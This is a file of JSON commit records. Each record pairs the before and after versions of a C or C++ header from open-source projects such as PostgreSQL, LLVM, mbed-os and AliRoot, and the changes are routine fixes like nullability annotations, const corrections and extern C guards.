{"commit":"718ff1293ce15fe3f7deb0a6498b215f38704357","old_file":"Pod\/ILGClasses\/ILGClasses.h","new_file":"Pod\/ILGClasses\/ILGClasses.h","old_contents":"\/\/\n\/\/  ILGClasses.h\n\/\/  Pods\n\/\/\n\/\/  Created by Isaac Greenspan on 6\/22\/15.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef BOOL(^ILGClassesClassTestBlock)(__strong Class class);\n\n@interface ILGClasses : NSObject\n\n\/**\n *  Get a set of all of the classes passing a given test.\n *\n *  @param test The block with which to test each class\n *\n *  @return A set of all of the classes passing the test\n *\/\n+ (NSSet *)classesPassingTest:(ILGClassesClassTestBlock)test;\n\n\/**\n *  Get a set of all of the classes that are a subclass of the given class.\n *\n *  Includes any class for which the given class is an ancestor, no matter how far back.  Does not include the given\n *  class in the result.\n *\n *  @param superclass The superclass to look for\n *\n *  @return A set of all of the subclasses of the given class, including indirect subclasses.\n *\/\n+ (NSSet *)subclassesOfClass:(Class)superclass;\n\n\/**\n *  Get a set of all of the classes that conform to the given protocol.\n *\n *  @param protocol The protocol to look for\n *\n *  @return A set of all of the classes that conform to the given protocol, as well as their direct and indirect subclasses.\n *\/\n+ (NSSet *)classesConformingToProtocol:(Protocol *)protocol;\n\n@end\n","new_contents":"\/\/\n\/\/  ILGClasses.h\n\/\/  Pods\n\/\/\n\/\/  Created by Isaac Greenspan on 6\/22\/15.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\ntypedef BOOL(^ILGClassesClassTestBlock)(__strong Class class);\n\n@interface ILGClasses : NSObject\n\n\/**\n *  Get a set of all of the classes passing a given test.\n *\n *  @param test The block with which to test each class\n *\n *  @return A set of all of the classes passing the test\n *\/\n+ (NSSet<Class> *__nullable)classesPassingTest:(ILGClassesClassTestBlock)test;\n\n\/**\n *  Get a set of all of the classes that are a subclass of the given class.\n *\n *  Includes any class for which the given class is an ancestor, no matter how far back.  Does not include the given\n *  class in the result.\n *\n *  @param superclass The superclass to look for\n *\n *  @return A set of all of the subclasses of the given class, including indirect subclasses.\n *\/\n+ (NSSet<Class> *__nullable)subclassesOfClass:(Class)superclass;\n\n\/**\n *  Get a set of all of the classes that conform to the given protocol.\n *\n *  @param protocol The protocol to look for\n *\n *  @return A set of all of the classes that conform to the given protocol, as well as their direct and indirect subclasses.\n *\/\n+ (NSSet<Class> *__nullable)classesConformingToProtocol:(Protocol *)protocol;\n\nNS_ASSUME_NONNULL_END\n\n@end\n","subject":"Add nullability annotations to classes header","message":"Add nullability annotations to classes header\n","lang":"C","license":"mit","repos":"designatednerd\/ILGDynamicObjC,designatednerd\/ILGDynamicObjC,designatednerd\/ILGDynamicObjC"}
{"commit":"848692131a7081d789aa4e58e4cc5ec94c4f520a","old_file":"src\/include\/commands\/schemacmds.h","new_file":"src\/include\/commands\/schemacmds.h","old_contents":"\/*-------------------------------------------------------------------------\n *\n * schemacmds.h\n *\t  prototypes for schemacmds.c.\n *\n *\n * Portions Copyright (c) 1996-2006, PostgreSQL Global Development Group\n * Portions Copyright (c) 1994, Regents of the University of California\n *\n * $PostgreSQL: pgsql\/src\/include\/commands\/schemacmds.h,v 1.13 2006\/03\/05 15:58:55 momjian Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n\n#ifndef SCHEMACMDS_H\n#define SCHEMACMDS_H\n\n#include \"nodes\/parsenodes.h\"\n\nextern void CreateSchemaCommand(CreateSchemaStmt *parsetree);\n\nextern void RemoveSchema(List *names, DropBehavior behavior, bool missing_ok);\nextern void RemoveSchemaById(Oid schemaOid);\n\nextern void RenameSchema(const char *oldname, const char *newname);\nextern void AlterSchemaOwner(const char *name, Oid newOwnerId);\nextern void AlterSchemaOwner_oid(const Oid schemaOid, Oid newOwnerId);\n\n#endif   \/* SCHEMACMDS_H *\/\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * schemacmds.h\n *\t  prototypes for schemacmds.c.\n *\n *\n * Portions Copyright (c) 1996-2006, PostgreSQL Global Development Group\n * Portions Copyright (c) 1994, Regents of the University of California\n *\n * $PostgreSQL: pgsql\/src\/include\/commands\/schemacmds.h,v 1.14 2006\/04\/09 22:01:19 tgl Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n\n#ifndef SCHEMACMDS_H\n#define SCHEMACMDS_H\n\n#include \"nodes\/parsenodes.h\"\n\nextern void CreateSchemaCommand(CreateSchemaStmt *parsetree);\n\nextern void RemoveSchema(List *names, DropBehavior behavior, bool missing_ok);\nextern void RemoveSchemaById(Oid schemaOid);\n\nextern void RenameSchema(const char *oldname, const char *newname);\nextern void AlterSchemaOwner(const char *name, Oid newOwnerId);\nextern void AlterSchemaOwner_oid(Oid schemaOid, Oid newOwnerId);\n\n#endif   \/* SCHEMACMDS_H *\/\n","subject":"Fix another const-decoration mismatch, per Magnus.","message":"Fix another const-decoration mismatch, per Magnus.\n","lang":"C","license":"apache-2.0","repos":"randomtask1155\/gpdb,tangp3\/gpdb,rubikloud\/gpdb,arcivanov\/postgres-xl,rubikloud\/gpdb,yazun\/postgres-xl,tpostgres-projects\/tPostgres,edespino\/gpdb,foyzur\/gpdb,xuegang\/gpdb,adam8157\/gpdb,foyzur\/gpdb,xuegang\/gpdb,ashwinstar\/gpdb,janebeckman\/gpdb,yazun\/postgres-xl,0x0FFF\/gpdb,janebeckman\/gpdb,edespino\/gpdb,tpostgres-projects\/tPostgres,xinzweb\/gpdb,edespino\/gpdb,chrishajas\/gpdb,CraigHarris\/gpdb,lpetrov-pivotal\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,postmind-net\/postgres-xl,lpetrov-pivotal\/gpdb,lintzc\/gpdb,lisakowen\/gpdb,0x0FFF\/gpdb,foyzur\/gpdb,oberstet\/postgres-xl,arcivanov\/postgres-xl,rvs\/gpdb,techdragon\/Postgres-XL,pavanvd\/postgres-xl,xuegang\/gpdb,jmcatamney\/gpdb,zaksoup\/gpdb,Quikling\/gpdb,lintzc\/gpdb,zaksoup\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,tangp3\/gpdb,Chibin\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,CraigHarris\/gpdb,kaknikhil\/gpdb,lintzc\/gpdb,jmcatamney\/gpdb,ahachete\/gpdb,edespino\/gpdb,chrishajas\/gpdb,postmind-net\/postgres-xl,xinzweb\/gpdb,snaga\/postgres-xl,snaga\/postgres-xl,zaksoup\/gpdb,jmcatamney\/gpdb,chrishajas\/gpdb,rvs\/gpdb,oberstet\/postgres-xl,edespino\/gpdb,snaga\/postgres-xl,50wu\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,rvs\/gpdb,jmcatamney\/gpdb,randomtask1155\/gpdb,arcivanov\/postgres-xl,lintzc\/gpdb,jmcatamney\/gpdb,janebeckman\/gpdb,lintzc\/gpdb,Quikling\/gpdb,kmjungersen\/PostgresXL,CraigHarris\/gpdb,yuanzhao\/gpdb,Chibin\/gpdb,zeroae\/postgres-xl,greenplum-db\/gpdb,Quikling\/gpdb,xuegang\/gpdb,foyzur\/gpdb,50wu\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,0x0FFF\/gpdb,ashwinstar\/gpdb,Chibin\/gpdb,Chibin\/gpdb,kmjungersen\/PostgresXL,yuanzhao\/gpdb,yuanzhao\/gpdb,kaknikhil\/gpdb,adam8157\/gpdb,atris\/gpdb,Quikling\/gpdb,techdragon\/Postgres-XL,kaknikhil\/gpdb,ovr\/postgres-xl,ovr\/postgres-xl,oberstet\/postgres-xl,lpetrov-pivotal\/gpdb,yazun\/postgres-xl,tangp3\/gpdb,lintzc\/gpdb,50wu\/gpdb,zaksoup\/gpdb,rubikloud\/gpdb,ovr\/postgres-xl,zaksoup\/gpdb,edespino\/gpdb,rubikloud\/gpdb,oberstet\/postgres-xl,tpostgres-projects\/tPostgres,royc1\/gpdb,cjcjameson\/gpdb,zeroae\/postgres-xl,randomtask1155\/gpdb,adam8157\/gpdb,janebeckman\/gpdb,lisakowen\/gpdb,tpostgres-projects\/tPostgres,zeroae\/postgres-xl,ovr\/postgres-xl,arcivanov\/postgres-xl,xuegang\/gpdb,rvs\/gpdb,CraigHarris\/gpdb,lisakowen\/gpdb,cjcjameson\/gpdb,atris\/gpdb,50wu\/gpdb,CraigHarris\/gpdb,edespino\/gpdb,0x0FFF\/gpdb,tangp3\/gpdb,royc1\/gpdb,pavanvd\/postgres-xl,ashwinstar\/gpdb,greenplum-db\/gpdb,atris\/gpdb,edespino\/gpdb,ashwinstar\/gpdb,lpetrov-pivotal\/gpdb,rubikloud\/gpdb,0x0FFF\/gpdb,cjcjameson\/gpdb,Quikling\/gpdb,0x0FFF\/gpdb,yazun\/postgres-xl,royc1\/gpdb,atris\/gpdb,0x0FFF\/gpdb,CraigHarris\/gpdb,xinzweb\/gpdb,kaknikhil\/gpdb,ashwinstar\/gpdb,yuanzhao\/gpdb,xuegang\/gpdb,edespino\/gpdb,zaksoup\/gpdb,royc1\/gpdb,tangp3\/gpdb,lpetrov-pivotal\/gpdb,tpostgres-projects\/tPostgres,arcivanov\/postgres-xl,kaknikhil\/gpdb,kmjungersen\/PostgresXL,ahachete\/gpdb,royc1\/gpdb,ahachete\/gpdb,ashwinstar\/gpdb,janebeckman\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,janebeckman\/gpdb,ahachete\/gpdb,zaksoup\/gpdb,ashwinstar\/gpdb,50wu\/gpdb,rvs\/gpdb,postmind-net\/postgres-xl,foyzur\/gpdb,cjcjameson\/gpdb,ahachete\/gpdb,atris\/gpdb,ahachete\/gpdb,techdragon\/Postgres-XL,adam8157\/gpdb,ahachete\/gpdb,Chibin\/gpdb,tangp3\/gpdb,yuanzhao\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,royc1\/gpdb,pavanvd\/postgres-xl,jmcatamney\/gpdb,yuanzhao\/gpdb,adam8157\/gpdb,rvs\/gpdb,Quikling\/gpdb,adam8157\/gpdb,xuegang\/gpdb,Quikling\/gpdb,zeroae\/postgres-xl,lpetrov-pivotal\/gpdb,lisakowen\/gpdb,techdragon\/Postgres-XL,lpetrov-pivotal\/gpdb,postmind-net\/postgres-xl,xuegang\/gpdb,janebeckman\/gpdb,Postgres-XL\/Postgres-XL,cjcjameson\/gpdb,rvs\/gpdb,randomtask1155\/gpdb,foyzur\/gpdb,CraigHarris\/gpdb,kmjungersen\/PostgresXL,ashwinstar\/gpdb,atris\/gpdb,zaksoup\/gpdb,greenplum-db\/gpdb,Chibin\/gpdb,chrishajas\/gpdb,chrishajas\/gpdb,xinzweb\/gpdb,foyzur\/gpdb,50wu\/gpdb,tangp3\/gpdb,lisakowen\/gpdb,tangp3\/gpdb,adam8157\/gpdb,jmcatamney\/gpdb,arcivanov\/postgres-xl,chrishajas\/gpdb,foyzur\/gpdb,CraigHarris\/gpdb,lintzc\/gpdb,kaknikhil\/gpdb,edespino\/gpdb,randomtask1155\/gpdb,xinzweb\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,chrishajas\/gpdb,Postgres-XL\/Postgres-XL,rvs\/gpdb,pavanvd\/postgres-xl,0x0FFF\/gpdb,Postgres-XL\/Postgres-XL,rvs\/gpdb,lisakowen\/gpdb,kaknikhil\/gpdb,kaknikhil\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,oberstet\/postgres-xl,pavanvd\/postgres-xl,yuanzhao\/gpdb,atris\/gpdb,cjcjameson\/gpdb,randomtask1155\/gpdb,greenplum-db\/gpdb,lintzc\/gpdb,Quikling\/gpdb,ahachete\/gpdb,atris\/gpdb,snaga\/postgres-xl,janebeckman\/gpdb,yuanzhao\/gpdb,Postgres-XL\/Postgres-XL,Chibin\/gpdb,ovr\/postgres-xl,royc1\/gpdb,cjcjameson\/gpdb,50wu\/gpdb,rubikloud\/gpdb,janebeckman\/gpdb,chrishajas\/gpdb,lintzc\/gpdb,snaga\/postgres-xl,randomtask1155\/gpdb,randomtask1155\/gpdb,janebeckman\/gpdb,royc1\/gpdb,Chibin\/gpdb,Quikling\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,rubikloud\/gpdb,jmcatamney\/gpdb,cjcjameson\/gpdb,lpetrov-pivotal\/gpdb,xuegang\/gpdb,yazun\/postgres-xl,postmind-net\/postgres-xl,rubikloud\/gpdb,techdragon\/Postgres-XL,kmjungersen\/PostgresXL,kaknikhil\/gpdb,Postgres-XL\/Postgres-XL,zeroae\/postgres-xl"}
{"commit":"5e1e13c695494d5ff63c0f50e4b7641ae23144c3","old_file":"sx_slentry.h","new_file":"sx_slentry.h","old_contents":"#ifndef SX_SLENTRY_H_\n#define SX_SLENTRY_H_\n\n#if HAVE_SYS_QUEUE_H\n#include <sys\/queue.h>\n#else\n#include \"sys_queue.h\"\n#endif\n\n#if HAVE_SYS_TREE_H\n#include <sys\/tree.h>\n#else\n#include \"sys_tree.h\"\n#endif\n\nstruct sx_slentry {\n\tSTAILQ_ENTRY(sx_slentry) next;\n\tchar*  text;\n};\n\nstruct sx_slentry* sx_slentry_new(char* text);\n\nstruct sx_tentry {\n\tRB_ENTRY(sx_tentry) entry;\n\tchar* text;\n};\n\nstruct sx_tentry* sx_tentry_new(char* text);\n\n#endif\n","new_contents":"#ifndef SX_SLENTRY_H_\n#define SX_SLENTRY_H_\n\n#if HAVE_SYS_QUEUE_H\n#include <sys\/queue.h>\n\/* OpenBSD-current as of 2015-08-30 does not define STAILQ_ENTRY anymore *\/\n#ifndef STAILQ_ENTRY\n#include \"sys_queue.h\"\n#endif\n#else\n#include \"sys_queue.h\"\n#endif\n\n#if HAVE_SYS_TREE_H\n#include <sys\/tree.h>\n#else\n#include \"sys_tree.h\"\n#endif\n\nstruct sx_slentry {\n\tSTAILQ_ENTRY(sx_slentry) next;\n\tchar*  text;\n};\n\nstruct sx_slentry* sx_slentry_new(char* text);\n\nstruct sx_tentry {\n\tRB_ENTRY(sx_tentry) entry;\n\tchar* text;\n};\n\nstruct sx_tentry* sx_tentry_new(char* text);\n\n#endif\n","subject":"Check if sys\/queue.h have STAILQ_ interface. At least OpenBSD's one does not...","message":"Check if sys\/queue.h have STAILQ_ interface. At least OpenBSD's one does not...\n","lang":"C","license":"bsd-2-clause","repos":"ledeuns\/bgpq3,kjniemi\/bgpq3,ledeuns\/bgpq3,ledeuns\/bgpq3,kjniemi\/bgpq3,kjniemi\/bgpq3"}
{"commit":"de2899279eea8bf9500363738630d5afc27f05f8","old_file":"features\/mbedtls\/targets\/TARGET_STM\/TARGET_STM32F4\/TARGET_STM32F439xI\/mbedtls_device.h","new_file":"features\/mbedtls\/targets\/TARGET_STM\/TARGET_STM32F4\/TARGET_STM32F439xI\/mbedtls_device.h","old_contents":"\/*\n *  mbedtls_device.h \n *******************************************************************************\n * Copyright (c) 2017, STMicroelectronics\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *\/\n#ifndef MBEDTLS_DEVICE_H\n#define MBEDTLS_DEVICE_H\n\n#define MBEDTLS_AES_ALT\n\n#define MBEDTLS_SHA256_ALT\n\n#define MBEDTLS_SHA1_ALT\n\n#endif \/* MBEDTLS_DEVICE_H *\/\n","new_contents":"\/*\n *  mbedtls_device.h\n *******************************************************************************\n * Copyright (c) 2017, STMicroelectronics\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *\/\n#ifndef MBEDTLS_DEVICE_H\n#define MBEDTLS_DEVICE_H\n\n#define MBEDTLS_AES_ALT\n\n#define MBEDTLS_SHA256_ALT\n\n#define MBEDTLS_SHA1_ALT\n\n#define MBEDTLS_MD5_ALT\n\n#define MBEDTLS_MD5_C\n#endif \/* MBEDTLS_DEVICE_H *\/\n","subject":"Move MBEDTLS_MD5_C from mbetdls_device.h to targets.json","message":"Move MBEDTLS_MD5_C from mbetdls_device.h to targets.json\n","lang":"C","license":"apache-2.0","repos":"CalSol\/mbed,karsev\/mbed-os,HeadsUpDisplayInc\/mbed,svogl\/mbed-os,catiedev\/mbed-os,kjbracey-arm\/mbed,mazimkhan\/mbed-os,c1728p9\/mbed-os,betzw\/mbed-os,YarivCol\/mbed-os,infinnovation\/mbed-os,HeadsUpDisplayInc\/mbed,ryankurte\/mbed-os,ryankurte\/mbed-os,c1728p9\/mbed-os,mazimkhan\/mbed-os,YarivCol\/mbed-os,Archcady\/mbed-os,mbedmicro\/mbed,catiedev\/mbed-os,Archcady\/mbed-os,betzw\/mbed-os,Archcady\/mbed-os,mbedmicro\/mbed,ryankurte\/mbed-os,andcor02\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,catiedev\/mbed-os,mbedmicro\/mbed,c1728p9\/mbed-os,catiedev\/mbed-os,svogl\/mbed-os,nRFMesh\/mbed-os,YarivCol\/mbed-os,mazimkhan\/mbed-os,andcor02\/mbed-os,YarivCol\/mbed-os,catiedev\/mbed-os,CalSol\/mbed,CalSol\/mbed,nRFMesh\/mbed-os,andcor02\/mbed-os,HeadsUpDisplayInc\/mbed,kjbracey-arm\/mbed,catiedev\/mbed-os,betzw\/mbed-os,CalSol\/mbed,kjbracey-arm\/mbed,karsev\/mbed-os,kjbracey-arm\/mbed,betzw\/mbed-os,HeadsUpDisplayInc\/mbed,betzw\/mbed-os,ryankurte\/mbed-os,infinnovation\/mbed-os,Archcady\/mbed-os,infinnovation\/mbed-os,mbedmicro\/mbed,betzw\/mbed-os,c1728p9\/mbed-os,c1728p9\/mbed-os,karsev\/mbed-os,andcor02\/mbed-os,svogl\/mbed-os,nRFMesh\/mbed-os,HeadsUpDisplayInc\/mbed,svogl\/mbed-os,Archcady\/mbed-os,svogl\/mbed-os,karsev\/mbed-os,infinnovation\/mbed-os,mazimkhan\/mbed-os,nRFMesh\/mbed-os,YarivCol\/mbed-os,Archcady\/mbed-os,nRFMesh\/mbed-os,mazimkhan\/mbed-os,YarivCol\/mbed-os,karsev\/mbed-os,andcor02\/mbed-os,CalSol\/mbed,mazimkhan\/mbed-os,svogl\/mbed-os,c1728p9\/mbed-os,infinnovation\/mbed-os,karsev\/mbed-os,ryankurte\/mbed-os,ryankurte\/mbed-os,CalSol\/mbed,infinnovation\/mbed-os,nRFMesh\/mbed-os,HeadsUpDisplayInc\/mbed"}
{"commit":"7c437002355eeda375cc4616e6cde5729a871b23","old_file":"modules\/luni\/src\/main\/native\/include\/shared\/exceptions.h","new_file":"modules\/luni\/src\/main\/native\/include\/shared\/exceptions.h","old_contents":"\/* Copyright 1998, 2005 The Apache Software Foundation or its licensors, as applicable\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef EXCEPTIONS_H\n#define EXCEPTIONS_H\n\n#include <string.h>\n#include \"vmi.h\"\nvoid throwNewExceptionByName(JNIEnv* env,\n                             const char* name, const char* message);\nvoid throwNewOutOfMemoryError(JNIEnv* env, const char* message);\nvoid throwJavaIoIOException(JNIEnv* env, const char* message);\nvoid throwJavaIoIOExceptionClosed(JNIEnv* env);\nvoid throwNPException(JNIEnv* env, const char* message);\nvoid throwIndexOutOfBoundsException(JNIEnv* env);\n\n#endif\n","new_contents":"\/* Copyright 1998, 2005 The Apache Software Foundation or its licensors, as applicable\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef EXCEPTIONS_H\n#define EXCEPTIONS_H\n\n#include <string.h>\n#include \"vmi.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid throwNewExceptionByName(JNIEnv* env,\n                             const char* name, const char* message);\nvoid throwNewOutOfMemoryError(JNIEnv* env, const char* message);\nvoid throwJavaIoIOException(JNIEnv* env, const char* message);\nvoid throwJavaIoIOExceptionClosed(JNIEnv* env);\nvoid throwNPException(JNIEnv* env, const char* message);\nvoid throwIndexOutOfBoundsException(JNIEnv* env);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Fix C++ compilation on windows.","message":"Fix C++ compilation on windows.\n\nsvn path=\/incubator\/harmony\/enhanced\/classlib\/trunk\/; revision=423414\n","lang":"C","license":"apache-2.0","repos":"freeVM\/freeVM,freeVM\/freeVM,freeVM\/freeVM,freeVM\/freeVM,freeVM\/freeVM"}
{"commit":"e454c0d607937d13dbd72e4b28b8fc76cc18c281","old_file":"include\/llvm\/Transforms\/Utils\/FunctionUtils.h","new_file":"include\/llvm\/Transforms\/Utils\/FunctionUtils.h","old_contents":"\/\/===-- Transform\/Utils\/FunctionUtils.h - Function Utils --------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This family of transformations manipulate LLVM functions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_UTILS_FUNCTION_H\n#define LLVM_TRANSFORMS_UTILS_FUNCTION_H\n\nnamespace llvm {\n\nclass Function;\nclass Loop;\n\n\/\/\/ ExtractCodeRegion - rip out a sequence of basic blocks into a new function\n\/\/\/\nFunction* ExtractCodeRegion(const std::vector<BasicBlock*> &code);\n\n\/\/\/ ExtractLoop - rip out a natural loop into a new function\n\/\/\/\nFunction* ExtractLoop(Loop *L);\n\n\/\/\/ ExtractBasicBlock - rip out a basic block into a new function\n\/\/\/\nFunction* ExtractBasicBlock(BasicBlock *BB);\n\n}\n\n#endif\n","new_contents":"\/\/===-- Transform\/Utils\/FunctionUtils.h - Function Utils --------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This family of transformations manipulate LLVM functions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_UTILS_FUNCTION_H\n#define LLVM_TRANSFORMS_UTILS_FUNCTION_H\n\n#include <vector>\n\nnamespace llvm {\n\n  class BasicBlock;\nclass Function;\nclass Loop;\n\n\/\/\/ ExtractCodeRegion - rip out a sequence of basic blocks into a new function\n\/\/\/\nFunction* ExtractCodeRegion(const std::vector<BasicBlock*> &code);\n\n\/\/\/ ExtractLoop - rip out a natural loop into a new function\n\/\/\/\nFunction* ExtractLoop(Loop *L);\n\n\/\/\/ ExtractBasicBlock - rip out a basic block into a new function\n\/\/\/\nFunction* ExtractBasicBlock(BasicBlock *BB);\n\n}\n\n#endif\n","subject":"Make this header file self-contained","message":"Make this header file self-contained\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@12480 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap"}
{"commit":"a345f80417166e9ebd13957fdc6d57a24aff64a7","old_file":"Settings\/Updater\/Version.h","new_file":"Settings\/Updater\/Version.h","old_contents":"","new_contents":"#pragma once\n\n#include <string>\n\nstruct Version {\npublic:\n    const int major;\n    const int minor;\n    const int revision;\n\n    Version(int major, int minor = 0, int revision = 0) :\n    major(major),\n    minor(minor),\n    revision(revision) {\n\n    }\n\n    std::wstring ToString() {\n        return std::to_wstring(major)\n            + L\".\"\n            + std::to_wstring(minor)\n            + L\".\"\n            + std::to_wstring(revision);\n    }\n};","subject":"Add class to encapsulate app versions","message":"Add class to encapsulate app versions\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"80365a877eb48595507fe83a7b32a634a413d689","old_file":"HLT\/PHOS\/AliHLTPHOSModuleCellEnergyData.h","new_file":"HLT\/PHOS\/AliHLTPHOSModuleCellEnergyData.h","old_contents":"","new_contents":"#ifndef ALIHLTPHOSNODULECELLENERGYDATA_H\n#define ALIHLTPHOSNODULECELLENERGYDATA_H\n\nstruct AliHLTPHOSModuleCellEnergyData\n{\n  AliHLTUInt8_t fModuleID;\n  unsigned long cellEnergies[64][56][2];\n};\n\n\n#endif\n","subject":"Structure to hold cell energy data for a PHOS module","message":"Structure to hold cell energy data for a PHOS module\n\n","lang":"C","license":"bsd-3-clause","repos":"ALICEHLT\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,mkrzewic\/AliRoot,mkrzewic\/AliRoot,jgrosseo\/AliRoot,mkrzewic\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,sebaleh\/AliRoot,sebaleh\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,ecalvovi\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot"}
{"commit":"ef8f03fe761ede729d5e1ee93f70ae6c40994bad","old_file":"ir\/be\/ia32\/ia32_optimize.h","new_file":"ir\/be\/ia32\/ia32_optimize.h","old_contents":"\/*\n * This file is part of libFirm.\n * Copyright (C) 2012 University of Karlsruhe.\n *\/\n\n\/**\n * @file\n * @brief       Implements several optimizations for IA32.\n * @author      Christian Wuerdig\n *\/\n#ifndef FIRM_BE_IA32_IA32_OPTIMIZE_H\n#define FIRM_BE_IA32_IA32_OPTIMIZE_H\n\n#include \"firm_types.h\"\n\n\/**\n * Prepares irg for codegeneration.\n *\/\nvoid ia32_pre_transform_phase(ir_graph *irg);\n\n\/**\n * Performs conv and address mode optimizations.\n * @param cg  The ia32 codegenerator object\n *\/\nvoid ia32_optimize_graph(ir_graph *irg);\n\n\/**\n * Performs Peephole Optimizations an a graph.\n *\n * @param irg   the graph\n * @param cg    the code generator object\n *\/\nvoid ia32_peephole_optimization(ir_graph *irg);\n\n\/** Initialize the ia32 address mode optimizer. *\/\nvoid ia32_init_optimize(void);\n\n#endif\n","new_contents":"\/*\n * This file is part of libFirm.\n * 